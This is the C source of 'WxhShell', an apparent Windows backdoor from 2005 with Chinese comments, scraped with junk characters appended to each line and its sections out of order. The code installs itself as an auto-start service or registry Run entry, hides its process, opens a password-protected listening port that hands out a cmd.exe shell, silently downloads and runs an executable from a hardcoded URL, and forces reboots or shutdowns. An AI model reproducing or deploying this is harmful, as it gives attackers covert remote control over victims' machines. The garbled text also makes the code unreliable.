    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 37 ?X@@Z=  
    else { >f^kp8`3{Y  
    closesocket(wsh); ) Kl@dj  
    ExitThread(0); .L1[Rv3  
    } Z<AZO ^  
    break; bYem0hzOe  
    } @C[p?ak  
  // 获取shell k^;/@:  
  case 's': { ?G!p4u?C  
    CmdShell(wsh); 1TfFWlf[B  
    closesocket(wsh); ~~"U[G1  
    ExitThread(0); N`H`\+  
    break; <Tbl |9  
  } ! ,H6.IH;S  
  // 退出 99'c\[fd'  
  case 'x': { _^RN$4.R>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A/lznBHR  
    CloseIt(wsh); }c= Y<Cdh  
    break; &"A:_5AU  
    } -R];tpddR5  
  // 离开 fn7?g  
  case 'q': { !P=L0A`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'ju_l)(R  
    closesocket(wsh); 5oB#{h  
    WSACleanup(); +5R8mbD!  
    exit(1); n) HV:8j~  
    break; fh1-]$z`~  
        } DW7Jk"\GH  
  } As^eL/m2L  
  } \YF;/KwX$  
B2_fCSlg  
  // 提示信息 oL>o*/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d%q&[<'jf  
} n ^qwE  
  } `)w=@9B)"  
G'wW-|  
  return; AhjCRYk+  
} g.8^ )u  
 =mcQe^M  
// shell模块句柄 n >E1\($  
int CmdShell(SOCKET sock) *N{k#d/  
{ u!It' ;j  
STARTUPINFO si; { Ngut  
ZeroMemory(&si,sizeof(si)); pxyFM@Z](  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ho&f[T(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S @!z'$&  
PROCESS_INFORMATION ProcessInfo; "_BWUY  
char cmdline[]="cmd"; |VyN>&r~6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B'vIL'  
  return 0; 1Zo3K<*J  
} 5OFB[  
D^];6\=.i  
// 自身启动模式 D6yE/QeK4  
int StartFromService(void) :y{@=E=XSC  
{ ] ONmWo77o  
typedef struct C\bJ_vl;'  
{ mB bGj3u;  
  DWORD ExitStatus; mL;oR4{  
  DWORD PebBaseAddress; ,]9p&xu  
  DWORD AffinityMask; 4/S3hH  
  DWORD BasePriority; 7g oRj  
  ULONG UniqueProcessId; u-.nR}DM_  
  ULONG InheritedFromUniqueProcessId; ].QzOV'  
}   PROCESS_BASIC_INFORMATION; `!ja0Sq]U  
y<v-,b*  
PROCNTQSIP NtQueryInformationProcess; fp3`O9+em  
JV !F<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EQHCw<e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G-vkkNj%e  
+^rt48${ y  
  HANDLE             hProcess; (Nf!E[ }Z  
  PROCESS_BASIC_INFORMATION pbi; wYv++< z  
r=RiuxxTq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (v}l#M7w  
  if(NULL == hInst ) return 0; R"F:(  
i{HzY[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *J4 \KU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z{F^qwne  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +j8-l-o  
:F"NF  
  if (!NtQueryInformationProcess) return 0; 3|URlz  
@lh]? |*[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y31e1   
  if(!hProcess) return 0; >oAXS\Ts  
Q+U" %   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SU~ljAF4  
'8@4FXK  
  CloseHandle(hProcess); ^O"o-3dte  
v//Drj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `'bu8JK  
if(hProcess==NULL) return 0; 1u }2}c|  
uXG$YDKqC  
HMODULE hMod; sbhUW>%.  
char procName[255]; C,<FV+r=^  
unsigned long cbNeeded; mGw*6kOIS  
cj#.Oaeq*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w,!N{hv(  
#Qu|9Q[QH  
  CloseHandle(hProcess); PvxU.  
7Mh!@Rd_V  
if(strstr(procName,"services")) return 1; // 以服务启动 ZJjm r,1  
p%\&M bA  
  return 0; // 注册表启动 Cv`dK=n>  
} i$!K{H1{9  
!]z4'*)W  
// 主模块  y]ya.YG  
int StartWxhshell(LPSTR lpCmdLine) !}"PHby5N  
{ xu'b@G}12  
  SOCKET wsl; 'f7s*VKG  
BOOL val=TRUE; mw\Pv|  
  int port=0; Gs*X> D  
  struct sockaddr_in door; %e/L .#0  
"haJwV6-  
  if(wscfg.ws_autoins) Install(); lt0byn$vz  
"3Ckc"G@  
port=atoi(lpCmdLine); o fCN[u  
92/_!P>  
if(port<=0) port=wscfg.ws_port; +3R/g@n  
9*[!ux7h  
  WSADATA data; X;dUlSi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q9$K.=_5  
#b;TjnC5{$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~8lB#NuN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (+bt{Ma  
  door.sin_family = AF_INET; 6lQP+! EF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d!4:nvKx  
  door.sin_port = htons(port); h,i=Y+1  
{"*gX&;~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IG8I<+<o  
closesocket(wsl); Gmmh&Uj  
return 1; @dhnpR :L  
} 6{[ uCxxl  
8+&Da  
  if(listen(wsl,2) == INVALID_SOCKET) { iz6+jHu'l  
closesocket(wsl);  :LTjV"f  
return 1; F<2qwP  
} $1|65j[e  
  Wxhshell(wsl); )!=X?fz,O  
  WSACleanup(); j<d,7  
hsZ@)[/:  
return 0; !=vd:,  
7@!3.u1B  
} D.x&N~-  
Q\*zF,ek  
// 以NT服务方式启动 " 8g\UR"[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ] N7(<EV/  
{ eeOG(@@o(  
DWORD   status = 0; M4L<u,\1s  
  DWORD   specificError = 0xfffffff; yOm#c>X  
kOv37c'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oa' T$'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f2i9UZ$=e!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eOUEhpE  
  serviceStatus.dwWin32ExitCode     = 0; PED5>90  
  serviceStatus.dwServiceSpecificExitCode = 0; X[1w(dU[  
  serviceStatus.dwCheckPoint       = 0; ##yH*{/&  
  serviceStatus.dwWaitHint       = 0; zQsW*)L  
:gx]zxK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -) !;45  
  if (hServiceStatusHandle==0) return; 3\a VZx!  
eY'RDQa  
status = GetLastError(); 'F^"+Xi  
  if (status!=NO_ERROR) #UqE %g`J  
{ 2;ac&j1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zy^ wS1io  
    serviceStatus.dwCheckPoint       = 0; #} `pj}tQ  
    serviceStatus.dwWaitHint       = 0; D4U<Rn6N_5  
    serviceStatus.dwWin32ExitCode     = status; Ak,T{;rD  
    serviceStatus.dwServiceSpecificExitCode = specificError; &bCk`]j:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1<pb=H  
    return; (iu IeJ^Z  
  } lN[#+n  
)xYGJq4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -;&-b>b  
  serviceStatus.dwCheckPoint       = 0; _5v]69C#  
  serviceStatus.dwWaitHint       = 0; Jr,**,wA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qE{L42  
} k$ w#:Sx  
0Q:l,\lY  
// 处理NT服务事件,比如:启动、停止 Gs(;&fw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /*m6-DC  
{ (*V:{_r  
switch(fdwControl) Eyg F,>.4  
{ v=?/c-J*  
case SERVICE_CONTROL_STOP: 7y=1\KW(  
  serviceStatus.dwWin32ExitCode = 0; CjmF2[|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :2AlvjvjZ  
  serviceStatus.dwCheckPoint   = 0; Qsr+f~"W  
  serviceStatus.dwWaitHint     = 0; (bGk=q=M  
  { #c`/ f6z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L?b;TjLe  
  } x{,W<oXg  
  return; FtybF  
case SERVICE_CONTROL_PAUSE: -}"nb-RR\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HXQ } B$V  
  break; J''lOj(@  
case SERVICE_CONTROL_CONTINUE: X="]q|Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  ~5n?=  
  break; v=x)]<E" _  
case SERVICE_CONTROL_INTERROGATE: 1cd3m  
  break; H8qWY"<Vd  
}; c) _u^Dh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Q&]5| x  
} Ft?Y c 5  
/=:F w}vt  
// 标准应用程序主函数 HnY.=_G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nq[-.}Z6  
{ Ny]]L  
zTfl#%  
// 获取操作系统版本 DfVSG1g  
OsIsNt=GetOsVer(); 4\14HcTcK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I\('b9"*  
fs8C ^Ik>~  
  // 从命令行安装 "VA'W/yv!  
  if(strpbrk(lpCmdLine,"iI")) Install(); R{{?wr6b$  
lYy:A%yDT  
  // 下载执行文件 @[j%V ynf  
if(wscfg.ws_downexe) { /D;cm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @Qd5a(5WM  
  WinExec(wscfg.ws_filenam,SW_HIDE); E{[>j'dwc  
} `i6q\-12n  
7E R!>l+  
if(!OsIsNt) { j.KV :zJU  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^[1Xl7)`  
HideProc(); r9~IR  
StartWxhshell(lpCmdLine); z=qxZuFkDs  
} r z5@E  
else PH=O>a`a_O  
  if(StartFromService()) oX?~  
  // 以服务方式启动 gg$:U  
  StartServiceCtrlDispatcher(DispatchTable); *)Pb-c  
else VoNk.h"T  
  // 普通方式启动 J|e3 UikA  
  StartWxhshell(lpCmdLine); fILD~  
+A2}@k   
return 0; /cx Ei6I-  
} |O[ I=!  
0t)5KO  
EP6@5PNZ  
Hx ojxZwm  
=========================================== }XRRM:B|)(  
B'D~Q  
zu``F]B  
+3?.Vb%jY  
D1cnf"y^  
*.+N?%sAP)  
" jgT *=/GH2  
K#]FUUnj=  
#include <stdio.h> Wfh+D[^  
#include <string.h> mxTuwx   
#include <windows.h> 6#kK  
#include <winsock2.h> K]ds2Kp&  
#include <winsvc.h> Sh7ob2  
#include <urlmon.h> C59H| S  
/.:&9 c  
#pragma comment (lib, "Ws2_32.lib") k~qZ^9QB~  
#pragma comment (lib, "urlmon.lib") q (}#{OO  
M[^EHa<i  
#define MAX_USER   100 // 最大客户端连接数 ?1Uq ud  
#define BUF_SOCK   200 // sock buffer ;i&t|5y~  
#define KEY_BUFF   255 // 输入 buffer r\m2Oo)]  
!GtCOr\'  
#define REBOOT     0   // 重启 6jz~q~ I  
#define SHUTDOWN   1   // 关机 &a";jO GB  
`5Em: 8 M  
#define DEF_PORT   5000 // 监听端口 ]!cLFXa  
me@EKspX  
#define REG_LEN     16   // 注册表键长度 N0UZ%,h\  
#define SVC_LEN     80   // NT服务名长度 IUQYoKz4}A  
~uEI}z  
// 从dll定义API Tnb5tHjnh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M/jdMfU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 42wZy|oqp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H2E'i\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -<^3!C >  
kl#) 0yqN0  
// wxhshell配置信息 oN Rp  
struct WSCFG { &p.7SPQ8/  
  int ws_port;         // 监听端口 )Z63 cr/  
  char ws_passstr[REG_LEN]; // 口令 BXLw  
  int ws_autoins;       // 安装标记, 1=yes 0=no  q #X[oVq  
  char ws_regname[REG_LEN]; // 注册表键名 cDh\$7'b  
  char ws_svcname[REG_LEN]; // 服务名 N~9zQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l#|M.V6G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r+}<]?aT>-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0<]]q[pr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O\^D 6\ v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }62Q{>`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +<f!#4T  
avxI%%|  
}; QykHB k  
pcPRkYT[ M  
// default Wxhshell configuration Is }?:ET  
struct WSCFG wscfg={DEF_PORT, RH&}'4JE:  
    "xuhuanlingzhe", @gihIysf  
    1, (:|1h@K/R  
    "Wxhshell", "oT]_WHqo  
    "Wxhshell", lsB.>NlU  
            "WxhShell Service", PF: E{_~  
    "Wrsky Windows CmdShell Service", :6}cczQE|O  
    "Please Input Your Password: ", ^tl&FWF  
  1, 1:Xg&4s  
  "http://www.wrsky.com/wxhshell.exe", !4mAZF b  
  "Wxhshell.exe" |@*   
    }; UymhBh  
QjyJmW("Z  
// 消息定义模块 SNtOHTQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T$s)aM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; anFl:=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qgsw8O&  
char *msg_ws_ext="\n\rExit."; n]bxG8~t  
char *msg_ws_end="\n\rQuit."; Ct}rj-L<i  
char *msg_ws_boot="\n\rReboot..."; i-Ri;E  
char *msg_ws_poff="\n\rShutdown..."; l ?gh7m_ej  
char *msg_ws_down="\n\rSave to "; t++\&!F  
[ jgC`  
char *msg_ws_err="\n\rErr!"; v QDkZ  
char *msg_ws_ok="\n\rOK!"; u 9%AK g}~  
&Ef6'  
char ExeFile[MAX_PATH]; |~YhN'OJ  
int nUser = 0; 6G>bZ+  
HANDLE handles[MAX_USER]; Tg6nb7@P  
int OsIsNt; zjwo"6c>  
x DX_s:A  
SERVICE_STATUS       serviceStatus; R5'_il  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k1M?6TW&  
t: qPW<wc  
// 函数声明 RX\@fmK&  
int Install(void); B-aJn8>/  
int Uninstall(void); fFd"21 >  
int DownloadFile(char *sURL, SOCKET wsh); a1A3uP  
int Boot(int flag); LrnE6 U9  
void HideProc(void); 8!Q0:4Vb  
int GetOsVer(void); Dlo4Wy  
int Wxhshell(SOCKET wsl); JL&ni]m  
void TalkWithClient(void *cs); _tVrLb7`s  
int CmdShell(SOCKET sock); ]=m0@JTbG  
int StartFromService(void); +ZeK,Y+Xy  
int StartWxhshell(LPSTR lpCmdLine); 5c3&4,,eR  
"aeKrMgc6V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mS >I#?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?=\_U  
v$bR&bCT  
// 数据结构和表定义 / lN09j  
SERVICE_TABLE_ENTRY DispatchTable[] = EO \@#",a  
{  Fs1ms)  
{wscfg.ws_svcname, NTServiceMain}, Gm'Ch}E  
{NULL, NULL} 9Q*zf@w  
}; \}NZ] l  
R,[+9U|4V  
// 自我安装 >)S'`e4Gu  
int Install(void) wfc+E9E  
{ ru1FJ{n  
  char svExeFile[MAX_PATH]; RaY=~g  
  HKEY key; nv"D  
  strcpy(svExeFile,ExeFile); 4p_@f^v~QH  
Cr%6c3aQ  
// 如果是win9x系统,修改注册表设为自启动 %#b+ =J  
if(!OsIsNt) { kR|(hA,$N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ui7YUR=2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] e]l08  
  RegCloseKey(key); fIcra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X P_ V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n{r _Xa  
  RegCloseKey(key); 0P6< 4  
  return 0; e+>&? x  
    } 0qMf6  
  } OgB ZoTT  
} |&a[@(N:zf  
else { bLi>jE.%.  
OQZ\/~o 5  
// 如果是NT以上系统,安装为系统服务 IEJp!P,E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $2\k| @)s  
if (schSCManager!=0) YC0FXNV  
{ NX4}o&mDwn  
  SC_HANDLE schService = CreateService 6sp?'GO`~  
  ( haMt2S2_B:  
  schSCManager, za@`,Yq  
  wscfg.ws_svcname, {BKr/) H  
  wscfg.ws_svcdisp, H&zhYKw  
  SERVICE_ALL_ACCESS, S vR? nN|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4`+hX'  
  SERVICE_AUTO_START, Oy/+uw^  
  SERVICE_ERROR_NORMAL, H Ql_ /:Wx  
  svExeFile, #s'  
  NULL, ,l_n:H+"F  
  NULL, -KG3_kE  
  NULL,  a7UfRG  
  NULL, )q+9_KU q  
  NULL xkzC+ _A  
  ); bbO1`b-  
  if (schService!=0) d^.fB+)A3  
  { (l3P<[[?  
  CloseServiceHandle(schService); "|l-NUe  
  CloseServiceHandle(schSCManager); ,:QDl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BnLWC  
  strcat(svExeFile,wscfg.ws_svcname); &u/T,jy`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "m:4e`_dz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =a .avOZ  
  RegCloseKey(key); yy6?16@  
  return 0; q={\|j$X  
    } @n##.th  
  } 'M#'BQQ5  
  CloseServiceHandle(schSCManager); IL]VY1'#  
} 0FV?By  
} EO5k?k[*  
IJA WG  
return 1; >9.xFiq<  
} Bld$<uU  
 TVP.)%  
// 自我卸载 bNG;`VZ%  
int Uninstall(void) {rG`Upp  
{ x`vIY-DS  
  HKEY key; [1Yx#t  
0/."R ;  
if(!OsIsNt) { &ns !\!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sh=Px9'i  
  RegDeleteValue(key,wscfg.ws_regname); {<HL}m@kQ  
  RegCloseKey(key); eswsxJ/!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *8uSy/l  
  RegDeleteValue(key,wscfg.ws_regname); ~_TmS9  
  RegCloseKey(key); cia4!-#  
  return 0; PL#8~e;'  
  } K`nI$l7hg  
} 3 G?^/nB  
} ;u'mSJI'  
else { `A)9   
[UVxtMJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DGx9 \8^  
if (schSCManager!=0) :Gh* d)  
{ G"= tQ$ZU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D@yg)$;z  
  if (schService!=0) >o=3RB=Fh  
  { )K8k3]y&  
  if(DeleteService(schService)!=0) { `MgR/@%hr  
  CloseServiceHandle(schService); `CI9~h@k  
  CloseServiceHandle(schSCManager); \guZc}V]:\  
  return 0; .[hQ#3)W  
  } %:n1S]Vr  
  CloseServiceHandle(schService); 6rEt!v #K[  
  } *Rv eR?kO  
  CloseServiceHandle(schSCManager); n<p`OKIV3  
} :>$)Snqo=n  
} z^Nnt  
:5G3 uN+\  
return 1; xQ62V11R6  
} 8{HeHU  
U RDb  
// 从指定url下载文件 ]],6Fi+  
int DownloadFile(char *sURL, SOCKET wsh) J_s?e#s  
{ j=)Cyg3_%  
  HRESULT hr; aW7{T6.,  
char seps[]= "/"; ^CTgo,uf6H  
char *token; X6 ~y+ R  
char *file; ~1pJQ)!zlq  
char myURL[MAX_PATH]; kx 'ncxN~  
char myFILE[MAX_PATH]; v#.FK:u}  
pr\yc  
strcpy(myURL,sURL); =y8HOT}8  
  token=strtok(myURL,seps); kwdmw_  
  while(token!=NULL) j?1\E9&4-Q  
  { YWeEvo(,=  
    file=token; j-ugsV`2=*  
  token=strtok(NULL,seps); Z!C\n[R/  
  } ??{(.`}R~  
$nQ; ++  
GetCurrentDirectory(MAX_PATH,myFILE); #6_?7 (X  
strcat(myFILE, "\\"); @QtJ/("&WC  
strcat(myFILE, file); h[3N/yP  
  send(wsh,myFILE,strlen(myFILE),0); YL&$cT]1  
send(wsh,"...",3,0); VG+Yhm<SL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %H~q3|z  
  if(hr==S_OK) SYB } e  
return 0; 9Q^>.^~^  
else c%Yvj  
return 1; X82sw>Y  
`HgT5}  
} n O$(\ z)  
q*@7A6:FV>  
// 系统电源模块 _,NL;66=[  
int Boot(int flag) h;^h[q1'  
{ 4cr >sz  
  HANDLE hToken; MT$OjH'Q`  
  TOKEN_PRIVILEGES tkp; @?3u|m |Z  
mNKe,H0  
  if(OsIsNt) { w%VHq z$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +~  :1H.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T5-50nU,~  
    tkp.PrivilegeCount = 1; st|$Fu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5(%+8<2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =JOupw  
if(flag==REBOOT) { ^EjZ.#2l;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E[Tz%x=P  
  return 0; 8K]fw{-$L  
} gr4Hh/V  
else { <!Nj2>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2!-ZNd:(+  
  return 0; O:+#k-?  
} vE>J@g2#  
  }  |UZ#2  
  else { jLI(Z  
if(flag==REBOOT) { hc"+6xc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {Rc/Ten  
  return 0; s59v* /  
} Cl6y:21]K  
else { gPT-zul  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 245(ajxHC  
  return 0; bkceR>h%  
} {K09U^JU  
} \d&j`UVY  
` *&*jdq&i  
return 1; PnFU{N  
} xA`Q4"[I  
(NFq/w%  
// win9x进程隐藏模块 pez[qs  
void HideProc(void) 6U @3 xU`  
{ zKx?cEpE  
kmi[u8iXD_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &[3 xpi{v  
  if ( hKernel != NULL ) Fs|fo-+H}k  
  { ES;7_.q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "e69aAA,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q+19EJ(  
    FreeLibrary(hKernel); [~W"$sT  
  } #@;RJJZg  
mK%!9F V  
return; V);{o>%.K  
} >e/;  
Cj _Q9/  
// 获取操作系统版本 N~;=*)_VH  
int GetOsVer(void) ua0`&,a3I  
{ I')URk[  
  OSVERSIONINFO winfo; _;O$o t\5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pT>[w1Kk^  
  GetVersionEx(&winfo); K,&)\r kzD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g:dw%h  
  return 1; jF<Y,(C\  
  else m>x.4aO1  
  return 0; 54_CewL1P]  
} >DBaKLu\  
9.m_3"s  
// 客户端句柄模块 izebQVQO*  
int Wxhshell(SOCKET wsl) -N<s =  
{ T6=c9f?7  
  SOCKET wsh; _VMW-trG  
  struct sockaddr_in client; !e?=I  
  DWORD myID; 5n"b$hMF  
rZLTai}`>  
  while(nUser<MAX_USER) Wrf('  
{ 7"yA~e,l  
  int nSize=sizeof(client); +7U$qEG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1#qyD3K  
  if(wsh==INVALID_SOCKET) return 1; Ck%nNy29  
JfxD-9U^>u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3BAls+<p o  
if(handles[nUser]==0) z2vrV?:  
  closesocket(wsh); Z `sM(?m  
else ;+'x_'a  
  nUser++; V2Q2(yvdJ  
  } 0k>bsn/ j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _<yGen-  
)cJ9YKKy  
  return 0; \XFF(  
} `wj<d>m  
W&#Ps6)8  
// 关闭 socket .:A9*,  
void CloseIt(SOCKET wsh) 9_)*b  
{ m X{_B!j^  
closesocket(wsh); 87l(a,#J  
nUser--; _CN5,mLNRk  
ExitThread(0); u&z5)iU  
} s_S[iW`l=  
N9QHX  
// 客户端请求句柄 *`&4< >=n  
void TalkWithClient(void *cs) |l'BNuiU  
{ 1vk& ;  
_; /onM   
  SOCKET wsh=(SOCKET)cs; %MGbIMpY  
  char pwd[SVC_LEN]; <Dojl #  
  char cmd[KEY_BUFF]; P>n}\"z4  
char chr[1]; C +S  
int i,j; FC[8kq>Hk  
"i0{E!,XL  
  while (nUser < MAX_USER) { ,j\1UAa  
S bI7<_  
if(wscfg.ws_passstr) { g:<2yT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7.U CX"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x.W93e[]H  
  //ZeroMemory(pwd,KEY_BUFF); _=l8e-6r  
      i=0; 3"afrA  
  while(i<SVC_LEN) { d h5%  
"g}mxPe  
  // 设置超时 P5,X,-eG  
  fd_set FdRead; Tk1U  
  struct timeval TimeOut; =, kH(rp2  
  FD_ZERO(&FdRead); Q|T9 tc->  
  FD_SET(wsh,&FdRead); a2Q_K2t  
  TimeOut.tv_sec=8; c*R?eLt/  
  TimeOut.tv_usec=0; (.[HE ~ s?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fbv%&z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o+-G@ 16  
~t0\Q; @($  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ek#?B6s  
  pwd=chr[0]; hf#[Vns  
  if(chr[0]==0xd || chr[0]==0xa) {  3"B$M  
  pwd=0; {Ee[rAVGp  
  break; \M(#FS  
  } F,F1Axf  
  i++; V'n4iM  
    } ftr?@^  
+2&+Gh.h  
  // 如果是非法用户,关闭 socket 4<c #3]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R>|)-"b( `  
} s}m.r5  
QVEGd"WvvO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8y$c\Eu(mF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 83~9Xb=!\  
fwWE`BB  
while(1) { T~Z7kc'  
H6fR6Kr4j  
  ZeroMemory(cmd,KEY_BUFF); )cF1?2  
WJXQM[  
      // 自动支持客户端 telnet标准   3 J{hG(5  
  j=0; VlLc[eVV  
  while(j<KEY_BUFF) {  ~wX4j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ww0m1FzX  
  cmd[j]=chr[0]; ^Ko{#qbl/  
  if(chr[0]==0xa || chr[0]==0xd) { E\ 'X|/$a  
  cmd[j]=0; ab5uZ0@  
  break; Vv]81y15Q;  
  } zXB]Bf3TH  
  j++; uTRa]D_q  
    } ; y#6Nx,:  
's{-1aW  
  // 下载文件 Av*R(d=`  
  if(strstr(cmd,"http://")) { yaf&SR@7k{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #lyvb.;  
  if(DownloadFile(cmd,wsh)) 9Byk/&$U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cU25]V^{\  
  else F}Bc +i#]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GLb}_-|  
  } ay2 m!s Q  
  else { {uO8VL5+Qx  
9p!V?cH#8  
